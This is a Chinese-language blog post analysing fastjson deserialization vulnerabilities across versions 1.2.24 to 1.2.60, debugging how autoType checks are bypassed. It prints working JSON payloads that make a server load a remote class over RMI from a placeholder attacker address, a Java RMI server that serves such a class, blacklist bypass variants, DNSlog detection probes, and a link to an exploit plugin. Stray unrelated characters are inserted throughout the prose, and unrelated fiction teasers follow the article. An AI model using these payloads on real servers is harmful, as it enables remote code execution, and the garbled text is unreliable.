fastjson漏洞學(xué)習(xí)分析

0x00前言

前面寫(xiě)了fastjson的利用与殃,現(xiàn)在補(bǔ)上fastjson的分析肛宋,后面附上探測(cè)后端是否使用fastjon的方法(1.2.67)绣夺。

0x01fastjson基本使用

toJSONString()
parseObject()

這兩個(gè)函數(shù)一個(gè)將對(duì)象轉(zhuǎn)化為json字符串方援,一個(gè)將json字符串反序列化成對(duì)象换棚。


image.png

一般來(lái)說(shuō)使用第一種方法輸出json字符串式镐,這里將第二種方法寫(xiě)出來(lái),是想體現(xiàn)fastjson可以識(shí)別json中的一些特殊的屬性圃泡,比如說(shuō)如果json字符串中某個(gè)key是“@type”碟案,它就認(rèn)為該key對(duì)應(yīng)的value用于指定該json字符串對(duì)應(yīng)的對(duì)象類型愿险。


image.png

可以看到帶指定對(duì)象類型的參數(shù)都反序列化成功了颇蜡,也就是說(shuō)反序列化必須指定對(duì)象類型,但是實(shí)際開(kāi)發(fā)中大多數(shù)時(shí)候是并不知道對(duì)象類型的辆亏,所以通常會(huì)將對(duì)象類型設(shè)置為Object.class风秤,畢竟java中所有類都是Object的子類。然后通過(guò)@type的值確定對(duì)象類型扮叨。反序序列化的入口也是這個(gè)函數(shù)parseObject()缤弦。
image.png

我們可以看到,反序列化后的對(duì)象屬性是有值的彻磁,說(shuō)明它會(huì)自動(dòng)調(diào)用對(duì)象的getter和setter方法碍沐。fastjson的反序列化漏洞就出現(xiàn)在這里,當(dāng)json字符串可控時(shí)(就是我們經(jīng)常抓包會(huì)在請(qǐng)求中看到一些json字符串衷蜓,通過(guò)修改這些字符串)累提,我們可以反序列化出任意對(duì)象,只需要找到某個(gè)對(duì)象的構(gòu)造函數(shù)或?qū)傩缘膅etter磁浇、setter方法中有危險(xiǎn)操作斋陪,那么我們就可以通過(guò)構(gòu)造json進(jìn)行反序列化執(zhí)行危險(xiǎn)函數(shù)。

0x02TemplatesImpl利用鏈

這條鏈簡(jiǎn)單介紹一下,因?yàn)槔脳l件較苛刻无虚。payload如下缔赠,bytecode屬性裝著是惡意class的base6
4編碼。


image.png

通常情況fastjson只會(huì)反序列化公開(kāi)的屬性友题,而上面payload中嗤堰,bytecode屬性是一個(gè)私有屬性,想反序列化私有屬性必須設(shè)置Feature.SupportNonPublicField這個(gè)參數(shù)咆爽。
接下來(lái)看個(gè)例子梁棠。


image.png

可以看到普通的parseObject(),反序列化后私有屬性是null的斗埂。在添加了Feature.SupportNonPublicField這個(gè)參數(shù)后才成功反序列化符糊。也就是TemplatesImpl利用鏈必須開(kāi)發(fā)在json反序列化添加Feature.SupportNonPublicField這個(gè)參數(shù)后才能成功。所以這里重點(diǎn)分析JdbcRowSetImpl利用鏈

0x03JdbcRowSetImpl利用鏈

在分析這條利用鏈前呛凶,首先要知道RMI男娄、JDNI這兩個(gè)概念。
RMI(remote method invocation)叫遠(yuǎn)程方法調(diào)用漾稀,Java環(huán)境設(shè)計(jì)的遠(yuǎn)程方法調(diào)用機(jī)制模闲,遠(yuǎn)程服務(wù)器實(shí)現(xiàn)具體的Java方法并提供接口,客戶端本地僅需根據(jù)接口類的定義崭捍,提供相應(yīng)的參數(shù)即可調(diào)用遠(yuǎn)程方法尸折。


image.png

大概意思就是,首先開(kāi)啟一個(gè)RMI服務(wù)殷蛇,然后客戶端需要調(diào)用某個(gè)方法就到這里去查詢实夹,返回給客戶端一個(gè)對(duì)象的引用,通過(guò)這個(gè)對(duì)象的引用去調(diào)用具體方法粒梦。
JNDI(Java Naming and Directory Interface)就是java命名和目錄接口亮航。JNDI提供統(tǒng)一的客戶端API,通過(guò)不同的訪問(wèn)提供者接口JNDI服務(wù)供應(yīng)接口(SPI)的實(shí)現(xiàn)匀们。


image.png

jndi大概就是一組api接口缴淋。每一個(gè)對(duì)象都有唯一的鍵值綁定,將名字和對(duì)象綁定泄朴,可以通過(guò)名字檢索對(duì)象重抖,對(duì)象就存儲(chǔ)在rmi,ldap等服務(wù)祖灰≈优妫可以通過(guò)Search(),Lookup()之類的函數(shù)去查找遠(yuǎn)程對(duì)象夫植。
客戶端在用lookup()查找這個(gè)遠(yuǎn)程對(duì)象時(shí)讹剔,客戶端會(huì)獲取相應(yīng)的object factory油讯,最終通過(guò)factory類將reference轉(zhuǎn)換為具體的對(duì)象實(shí)例。Reference是java中的引用類延欠。

0x04環(huán)境準(zhǔn)備

payload如下

{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:port/Exploit",
        "autoCommit":true
}

先啟動(dòng)RMI服務(wù)

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class server {
    public static void start() throws
            AlreadyBoundException, RemoteException, NamingException {
        Registry registry = LocateRegistry.createRegistry(9999);
        String remote_class_server = "http://ip:port/";//惡意類遠(yuǎn)程地址
        Reference reference = new Reference("Exploit", "Exploit", remote_class_server);//第一個(gè)參數(shù)為惡意類名陌兑,第二個(gè)為factory。
        //reference的factory class參數(shù)指向了一個(gè)外部Web服務(wù)的地址
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit", referenceWrapper);

        System.out.println("Listener on 9999");
    }
    public static void main(String[] args) throws AlreadyBoundException, RemoteException, NamingException{
        start();
    }
}

編譯一個(gè)惡意類


image.png

把他放到web服務(wù)器上由捎,在RMI服務(wù)綁定好兔综。


image.png

0x05開(kāi)始調(diào)試1.2.24版本

入口函數(shù)parseObject()下斷點(diǎn)開(kāi)始調(diào)試。


image.png

跟到這狞玛,判斷key是否是@type软驰,如果是,便加載對(duì)應(yīng)的class


image.png

繼續(xù)跟心肪,這里開(kāi)始反序列化階段锭亏。
image.png

具體操作就是通過(guò)反射調(diào)用 setter 方法賦值


image.png

我們的payload中有一個(gè)屬性autoCommit為true。會(huì)調(diào)用下圖方法
image.png

跟進(jìn)
image.png

調(diào)用lookup()方法硬鞍。
image.png

然后會(huì)去尋找我們寫(xiě)好的惡意rmi服務(wù)類慧瘤。通過(guò)lookup方法就實(shí)例化了這個(gè)惡意類,從而導(dǎo)致構(gòu)造方法的惡意代碼觸發(fā)固该。
image.png

完整利用鏈


image.png

結(jié)束

0x06官方補(bǔ)丁

image.png

可以看到把loadclass一行刪除锅减,新添了一個(gè)檢查函數(shù)checkAutoType(),并且把com.sun設(shè)置為黑名單伐坏。

0x07補(bǔ)丁繞過(guò)

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://ip:port/Exploit"}}
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}

第一個(gè)payload就是找到了一個(gè)類不在黑名單里怔匣,第二個(gè)payload分析在原來(lái)的類,開(kāi)頭添加了L桦沉,尾添加了;每瞒,分析如下


image.png

添加了這兩個(gè)字符后的類肯定不在黑名單里,然后跟到loadclass函數(shù)里永部,可以看到當(dāng)以L開(kāi)頭;結(jié)尾是独泞,會(huì)將這兩個(gè)字符移除呐矾,又變成了com.sun.rowset.RowSetImpl苔埋。

0x08開(kāi)始分析1.2.47版本

payload

{
   "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://ip:9999/Test",
        "autoCommit":true
    }
}

比之前版本多發(fā)送了一個(gè)java.lang.Class數(shù)據(jù),開(kāi)始調(diào)試看一下是怎么繞過(guò)的蜒犯。


image.png

仍然跟到這组橄,由于java.lang.Class不在黑名單里,checkAutoType不會(huì)攔截罚随,然后跟到loadclass玉工。


image.png

可以看到這里,因?yàn)槲覀儌髁艘粋€(gè)屬性"val":"com.sun.rowset.JdbcRowSetImpl"淘菩,他去把這個(gè)作為對(duì)象加載了遵班,雖然這個(gè)類被加載了屠升,但是并沒(méi)有傳遞到rmi屬性和autoCommit屬性,暫時(shí)并不會(huì)造成狭郑。成惡意影響腹暖。繼續(xù)跟進(jìn)
image.png

可以看到loadclass返回值里有一個(gè)cache屬性為true。跟進(jìn)


image.png

可以看到loadclass函數(shù)中翰萨,當(dāng)cache為true是脏答,會(huì)將JdbcRowSetImpl類加載到map緩存中。
第一個(gè)json數(shù)據(jù)處理完了亩鬼,接下來(lái)看一下第二個(gè)json數(shù)據(jù)殖告。
image.png

仍然跟到這,然后跟進(jìn)checkAutoType()函數(shù)雳锋,看一下這個(gè)在黑名單中的類為什么沒(méi)有被攔截黄绩。
image.png

可以看到當(dāng)class為空時(shí),會(huì)從mapping中去找玷过。在第一個(gè)json數(shù)據(jù)處理后宝与,JdbcRowSetImpl類已經(jīng)被加載到map緩存,然后直接就返回class了冶匹,繞過(guò)了后面的檢測(cè)习劫。
在checkAutoType函數(shù)中,有一個(gè)配置就是autotype嚼隘,默認(rèn)這個(gè)是關(guān)閉的诽里,接下來(lái)看一下當(dāng)這個(gè)參數(shù)為true時(shí)的繞過(guò)。
image.png

首先在反序列化前新增一行代碼設(shè)置為true飞蛹。
跟進(jìn)到checkAutoType函數(shù)谤狡,進(jìn)入如下循環(huán)


image.png

先驗(yàn)證了白名單,如果匹配變返回class卧檐,這里不在白名單里墓懂。然后匹配黑名單,由于getClassMapping這個(gè)條件不為null所以即使匹配到黑名單霉囚,但是仍然不會(huì)爆異常捕仔。

0x09官方修復(fù)

把cache的默認(rèn)值改成了false,不讓Class生成的對(duì)象存在mapping里盈罐。
并且把java.lang.Class這個(gè)類加入了黑名單榜跌。

0x09 1.2.60版本payload

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://ip:port/Exploit"}
"{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://ip:port/Exploit"}"

仍然利用的是rmi服務(wù),找到了不在黑名單中了類盅粪,但是有2個(gè)利用條件钓葫。依賴的特定的jar(commons-configuration, ojdbc14-10.2.0.2),并不是中間件或者JDK自帶的jar票顾;需要手動(dòng)開(kāi)啟AutoType础浮。

0x10 總結(jié)

1帆调、fastjson 通過(guò)@type的值傳入類,在解析json時(shí)豆同,就會(huì)調(diào)用傳入屬性的getter,setter方法贷帮。如果找到一個(gè)類getter,setter能夠傳入可控的惡意class字節(jié)碼或者是jdni服務(wù),就能導(dǎo)致rce诱告。
2撵枢、fastjson的防范類是checkAutoType函數(shù),而導(dǎo)致命令執(zhí)行的很關(guān)鍵的一步是loadClass精居,因此從checkAutoType到loadClass之間的代碼锄禽,是需要關(guān)注的關(guān)鍵部分。
3靴姿、對(duì)于官方已經(jīng)修復(fù)但是還沒(méi)有公開(kāi)的漏洞沃但,github的源碼中的更改記錄可能有利用思路。

0x11 更新下探測(cè)后端是否使用fastjon的方法

{"@type":"java.net.Inet4Address","val":"http://dnslog"}
{"@type":"java.net.Inet6Address","val":"http://dnslog"}

{"@type":"java.net.InetSocketAddress"{"address":,"val":"http://dnslog"}}

{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

Set[{"@type":"java.net.URL","val":"http://dnslog"}]

0x12 參考鏈接

https://github.com/alibaba/fastjson/issues/3077

0x13 更新后續(xù)利用——fastjson注入內(nèi)存馬

寫(xiě)的簡(jiǎn)單利用的burp插件
https://github.com/amaz1ngday/fastjson-exp

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末佛吓,一起剝皮案震驚了整個(gè)濱河市宵晚,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌维雇,老刑警劉巖淤刃,帶你破解...
    沈念sama閱讀 210,914評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異吱型,居然都是意外死亡逸贾,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 89,935評(píng)論 2 383
  • 文/潘曉璐 我一進(jìn)店門(mén)津滞,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)铝侵,“玉大人,你說(shuō)我怎么就攤上這事触徐∵湎剩” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 156,531評(píng)論 0 345
  • 文/不壞的土叔 我叫張陵撞鹉,是天一觀的道長(zhǎng)疟丙。 經(jīng)常有香客問(wèn)我,道長(zhǎng)孔祸,這世上最難降的妖魔是什么隆敢? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 56,309評(píng)論 1 282
  • 正文 為了忘掉前任发皿,我火速辦了婚禮崔慧,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘穴墅。我一直安慰自己惶室,他們只是感情好温自,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,381評(píng)論 5 384
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著皇钞,像睡著了一般悼泌。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上夹界,一...
    開(kāi)封第一講書(shū)人閱讀 49,730評(píng)論 1 289
  • 那天馆里,我揣著相機(jī)與錄音,去河邊找鬼可柿。 笑死鸠踪,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的复斥。 我是一名探鬼主播营密,決...
    沈念sama閱讀 38,882評(píng)論 3 404
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼目锭!你這毒婦竟也來(lái)了评汰?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 37,643評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤痢虹,失蹤者是張志新(化名)和其女友劉穎被去,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體奖唯,經(jīng)...
    沈念sama閱讀 44,095評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡编振,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,448評(píng)論 2 325
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了臭埋。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片踪央。...
    茶點(diǎn)故事閱讀 38,566評(píng)論 1 339
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖瓢阴,靈堂內(nèi)的尸體忽然破棺而出畅蹂,到底是詐尸還是另有隱情,我是刑警寧澤荣恐,帶...
    沈念sama閱讀 34,253評(píng)論 4 328
  • 正文 年R本政府宣布液斜,位于F島的核電站,受9級(jí)特大地震影響叠穆,放射性物質(zhì)發(fā)生泄漏少漆。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,829評(píng)論 3 312
  • 文/蒙蒙 一硼被、第九天 我趴在偏房一處隱蔽的房頂上張望示损。 院中可真熱鬧,春花似錦嚷硫、人聲如沸检访。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,715評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)脆贵。三九已至医清,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間卖氨,已是汗流浹背会烙。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,945評(píng)論 1 264
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留筒捺,地道東北人持搜。 一個(gè)月前我還...
    沈念sama閱讀 46,248評(píng)論 2 360
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像焙矛,于是被迫代替她去往敵國(guó)和親葫盼。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,440評(píng)論 2 348